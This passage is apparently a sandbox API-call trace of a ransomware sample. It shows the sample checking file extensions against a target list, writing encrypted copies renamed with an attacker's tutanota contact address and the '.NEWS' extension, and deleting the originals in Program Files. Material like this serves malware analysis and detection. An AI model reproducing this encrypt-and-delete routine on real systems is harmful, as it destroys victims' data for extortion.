Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0166.261] lstrlenW (lpString=".doc") returned 4 [0166.261] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0166.261] lstrlenW (lpString=".docx") returned 5 [0166.261] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0166.261] lstrlenW (lpString=".pdf") returned 4 [0166.261] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0166.261] lstrlenW (lpString=".xls") returned 4 [0166.262] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0166.262] lstrlenW (lpString=".xlsx") returned 5 [0166.262] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0166.262] lstrlenW (lpString=".ppt") returned 4 [0166.262] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0166.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0166.262] lstrlenW (lpString=".zip") returned 4 [0166.262] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0166.262] lstrlenW (lpString=".rar") returned 4 [0166.262] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0166.262] lstrlenW (lpString=".bz2") returned 4 [0166.262] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0166.262] lstrlenW (lpString=".7z") returned 3 [0166.262] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0166.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0166.262] lstrlenW (lpString=".dbf") returned 4 [0166.262] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0166.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0166.262] lstrlenW (lpString=".1cd") returned 4 [0166.262] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0166.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0166.262] lstrlenW (lpString=".jpg") returned 4 [0166.262] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0166.262] lstrcmpiW (lpString1=".0_144\\release", lpString2=".NEWS") returned -1 [0166.262] lstrlenW (lpString="release") returned 7 [0166.262] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0166.263] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=528) returned 1 [0166.263] CloseHandle (hObject=0x520) returned 1 [0166.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20 [0166.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.264] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0166.264] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.264] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.264] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.265] GetLastError () returned 0x0 [0166.265] ReadFile (in: hFile=0x520, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x210, lpOverlapped=0x0) returned 1 [0166.266] WriteFile (in: hFile=0x528, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x220, lpOverlapped=0x0) returned 1 [0166.267] ReadFile (in: hFile=0x520, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0166.267] WriteFile (in: hFile=0x528, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xe2, lpOverlapped=0x0) returned 1 [0166.267] SetEndOfFile (hFile=0x528) returned 1 [0166.267] CloseHandle (hObject=0x528) returned 1 [0166.267] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.267] SetEndOfFile (hFile=0x520) returned 1 [0166.270] CloseHandle (hObject=0x520) returned 1 [0166.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0166.270] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 1 [0166.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0166.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0166.271] lstrlenW (lpString=".doc") returned 4 [0166.271] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0166.271] lstrlenW (lpString=".docx") returned 5 [0166.271] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0166.271] lstrlenW (lpString=".pdf") returned 4 [0166.271] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0166.271] lstrlenW (lpString=".xls") returned 4 [0166.271] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0166.271] lstrlenW (lpString=".xlsx") returned 5 [0166.271] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0166.271] lstrlenW (lpString=".ppt") returned 4 [0166.271] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0166.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0166.271] lstrlenW (lpString=".zip") returned 4 [0166.271] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0166.271] lstrlenW (lpString=".rar") returned 4 [0166.272] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0166.272] lstrlenW (lpString=".bz2") returned 4 [0166.272] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0166.272] lstrlenW (lpString=".7z") returned 3 [0166.272] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0166.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0166.272] lstrlenW (lpString=".dbf") returned 4 [0166.272] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0166.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0166.272] lstrlenW (lpString=".1cd") returned 4 [0166.272] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0166.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0166.272] lstrlenW (lpString=".jpg") returned 4 [0166.272] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0166.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0166.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0166.272] lstrlenW (lpString=".doc") returned 4 [0166.272] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0166.272] lstrlenW (lpString=".docx") returned 5 [0166.272] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0166.272] lstrlenW (lpString=".pdf") returned 4 [0166.272] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0166.272] lstrlenW (lpString=".xls") returned 4 [0166.272] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0166.272] lstrlenW (lpString=".xlsx") returned 5 [0166.272] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0166.272] lstrlenW (lpString=".ppt") returned 4 [0166.272] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0166.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0166.272] lstrlenW (lpString=".zip") returned 4 [0166.272] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0166.272] lstrlenW (lpString=".rar") returned 4 [0166.272] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0166.272] lstrlenW (lpString=".bz2") returned 4 [0166.272] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0166.273] lstrlenW (lpString=".7z") returned 3 [0166.273] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0166.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0166.273] lstrlenW (lpString=".dbf") returned 4 [0166.273] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0166.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0166.273] lstrlenW (lpString=".1cd") returned 4 [0166.273] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0166.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0166.273] lstrlenW (lpString=".jpg") returned 4 [0166.273] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0166.273] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0166.273] lstrlenW (lpString="totalcmd.exe") returned 12 [0166.273] CreateFileW (lpFileName="C:\\Program Files\\Java\\totalcmd.exe" (normalized: "c:\\program files\\java\\totalcmd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0166.274] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=78336) returned 1 [0166.274] CloseHandle (hObject=0x520) returned 1 [0166.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\totalcmd.exe" (normalized: "c:\\program files\\java\\totalcmd.exe")) returned 0x20 [0166.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\totalcmd.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\totalcmd.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.275] CreateFileW (lpFileName="C:\\Program Files\\Java\\totalcmd.exe" (normalized: "c:\\program files\\java\\totalcmd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.275] lstrlenW (lpString="C:\\Program Files\\Java\\totalcmd.exe") returned 34 [0166.275] lstrlenW (lpString="C:\\Program Files\\Java\\totalcmd.exe") returned 34 [0166.275] lstrlenW (lpString=".doc") returned 4 [0166.275] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0166.275] lstrlenW (lpString=".docx") returned 5 [0166.275] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0166.275] lstrlenW (lpString=".pdf") returned 4 [0166.275] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0166.275] lstrlenW (lpString=".xls") returned 4 [0166.275] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0166.275] lstrlenW (lpString=".xlsx") returned 5 [0166.275] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0166.275] lstrlenW (lpString=".ppt") returned 4 [0166.275] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0166.275] lstrlenW (lpString="C:\\Program Files\\Java\\totalcmd.exe") returned 34 [0166.275] lstrlenW (lpString=".zip") returned 4 [0166.275] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0166.275] lstrlenW (lpString=".rar") returned 4 [0166.275] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0166.275] lstrlenW (lpString=".bz2") returned 4 [0166.275] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0166.275] lstrlenW (lpString=".7z") returned 3 [0166.275] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0166.275] lstrlenW (lpString="C:\\Program Files\\Java\\totalcmd.exe") returned 34 [0166.275] lstrlenW (lpString=".dbf") returned 4 [0166.275] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0166.275] lstrlenW (lpString="C:\\Program Files\\Java\\totalcmd.exe") returned 34 [0166.275] lstrlenW (lpString=".1cd") returned 4 [0166.275] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0166.276] lstrlenW (lpString="C:\\Program Files\\Java\\totalcmd.exe") returned 34 [0166.276] lstrlenW (lpString=".jpg") returned 4 [0166.276] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0166.276] lstrlenW (lpString="C:\\Program Files\\Java\\totalcmd.exe") returned 34 [0166.276] lstrlenW (lpString="C:\\Program Files\\Java\\totalcmd.exe") returned 34 [0166.276] lstrlenW (lpString=".doc") returned 4 [0166.276] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0166.276] lstrlenW (lpString=".docx") returned 5 [0166.276] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0166.276] lstrlenW (lpString=".pdf") returned 4 [0166.276] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0166.276] lstrlenW (lpString=".xls") returned 4 [0166.276] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0166.276] lstrlenW (lpString=".xlsx") returned 5 [0166.276] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0166.276] lstrlenW (lpString=".ppt") returned 4 [0166.276] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0166.276] lstrlenW (lpString="C:\\Program Files\\Java\\totalcmd.exe") returned 34 [0166.276] lstrlenW (lpString=".zip") returned 4 [0166.276] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0166.276] lstrlenW (lpString=".rar") returned 4 [0166.276] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0166.276] lstrlenW (lpString=".bz2") returned 4 [0166.276] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0166.276] lstrlenW (lpString=".7z") returned 3 [0166.276] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0166.276] lstrlenW (lpString="C:\\Program Files\\Java\\totalcmd.exe") returned 34 [0166.276] lstrlenW (lpString=".dbf") returned 4 [0166.276] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0166.276] lstrlenW (lpString="C:\\Program Files\\Java\\totalcmd.exe") returned 34 [0166.276] lstrlenW (lpString=".1cd") returned 4 [0166.276] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0166.277] lstrlenW (lpString="C:\\Program Files\\Java\\totalcmd.exe") returned 34 [0166.277] lstrlenW (lpString=".jpg") returned 4 [0166.277] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0166.277] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0166.277] lstrlenW (lpString="icq.exe") returned 7 [0166.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\icq.exe" (normalized: "c:\\program files\\microsoft office\\icq.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0166.278] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=78336) returned 1 [0166.278] CloseHandle (hObject=0x520) returned 1 [0166.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\icq.exe" (normalized: "c:\\program files\\microsoft office\\icq.exe")) returned 0x20 [0166.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\icq.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\icq.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\icq.exe" (normalized: "c:\\program files\\microsoft office\\icq.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0166.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0166.279] lstrlenW (lpString=".doc") returned 4 [0166.279] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0166.279] lstrlenW (lpString=".docx") returned 5 [0166.279] lstrcmpiW (lpString1=".docx", lpString2="q.exe") returned -1 [0166.279] lstrlenW (lpString=".pdf") returned 4 [0166.279] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0166.279] lstrlenW (lpString=".xls") returned 4 [0166.279] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0166.279] lstrlenW (lpString=".xlsx") returned 5 [0166.279] lstrcmpiW (lpString1=".xlsx", lpString2="q.exe") returned -1 [0166.279] lstrlenW (lpString=".ppt") returned 4 [0166.279] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0166.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0166.279] lstrlenW (lpString=".zip") returned 4 [0166.279] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0166.279] lstrlenW (lpString=".rar") returned 4 [0166.279] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0166.279] lstrlenW (lpString=".bz2") returned 4 [0166.279] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0166.279] lstrlenW (lpString=".7z") returned 3 [0166.279] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0166.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0166.279] lstrlenW (lpString=".dbf") returned 4 [0166.279] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0166.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0166.279] lstrlenW (lpString=".1cd") returned 4 [0166.279] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0166.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0166.280] lstrlenW (lpString=".jpg") returned 4 [0166.280] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0166.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0166.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0166.280] lstrlenW (lpString=".doc") returned 4 [0166.280] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0166.280] lstrlenW (lpString=".docx") returned 5 [0166.280] lstrcmpiW (lpString1=".docx", lpString2="q.exe") returned -1 [0166.280] lstrlenW (lpString=".pdf") returned 4 [0166.280] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0166.280] lstrlenW (lpString=".xls") returned 4 [0166.280] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0166.280] lstrlenW (lpString=".xlsx") returned 5 [0166.280] lstrcmpiW (lpString1=".xlsx", lpString2="q.exe") returned -1 [0166.280] lstrlenW (lpString=".ppt") returned 4 [0166.280] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0166.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0166.280] lstrlenW (lpString=".zip") returned 4 [0166.280] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0166.280] lstrlenW (lpString=".rar") returned 4 [0166.280] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0166.280] lstrlenW (lpString=".bz2") returned 4 [0166.280] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0166.280] lstrlenW (lpString=".7z") returned 3 [0166.280] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0166.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0166.280] lstrlenW (lpString=".dbf") returned 4 [0166.280] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0166.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0166.280] lstrlenW (lpString=".1cd") returned 4 [0166.280] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0166.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\icq.exe") returned 41 [0166.280] lstrlenW (lpString=".jpg") returned 4 [0166.281] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0166.281] lstrcmpiW (lpString1=".EXE", lpString2=".NEWS") returned -1 [0166.281] lstrlenW (lpString="OSPPREARM.EXE") returned 13 [0166.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0166.463] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=27200) returned 1 [0166.463] CloseHandle (hObject=0x518) returned 1 [0166.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 0x20 [0166.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0167.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0167.121] lstrlenW (lpString=".doc") returned 4 [0167.121] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0167.121] lstrlenW (lpString=".docx") returned 5 [0167.121] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0167.121] lstrlenW (lpString=".pdf") returned 4 [0167.121] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0167.121] lstrlenW (lpString=".xls") returned 4 [0167.121] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0167.121] lstrlenW (lpString=".xlsx") returned 5 [0167.121] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0167.121] lstrlenW (lpString=".ppt") returned 4 [0167.121] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0167.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0167.122] lstrlenW (lpString=".zip") returned 4 [0167.122] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0167.122] lstrlenW (lpString=".rar") returned 4 [0167.122] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0167.122] lstrlenW (lpString=".bz2") returned 4 [0167.122] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0167.122] lstrlenW (lpString=".7z") returned 3 [0167.122] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0167.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0167.122] lstrlenW (lpString=".dbf") returned 4 [0167.122] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0167.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0167.122] lstrlenW (lpString=".1cd") returned 4 [0167.122] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0167.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0167.122] lstrlenW (lpString=".jpg") returned 4 [0167.122] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0167.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0167.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0167.122] lstrlenW (lpString=".doc") returned 4 [0167.122] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0167.122] lstrlenW (lpString=".docx") returned 5 [0167.122] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0167.122] lstrlenW (lpString=".pdf") returned 4 [0167.122] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0167.122] lstrlenW (lpString=".xls") returned 4 [0167.122] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0167.122] lstrlenW (lpString=".xlsx") returned 5 [0167.122] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0167.122] lstrlenW (lpString=".ppt") returned 4 [0167.122] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0167.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0167.122] lstrlenW (lpString=".zip") returned 4 [0167.122] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0167.122] lstrlenW (lpString=".rar") returned 4 [0167.123] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0167.123] lstrlenW (lpString=".bz2") returned 4 [0167.123] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0167.123] lstrlenW (lpString=".7z") returned 3 [0167.123] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0167.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0167.123] lstrlenW (lpString=".dbf") returned 4 [0167.123] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0167.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0167.123] lstrlenW (lpString=".1cd") returned 4 [0167.123] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0167.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0167.123] lstrlenW (lpString=".jpg") returned 4 [0167.123] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0167.123] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0167.123] lstrlenW (lpString="EXPLR_01.MID") returned 12 [0167.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0167.125] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=10562) returned 1 [0167.125] CloseHandle (hObject=0x454) returned 1 [0167.125] GetFileAttributesW (lpFileName="C:\\Program 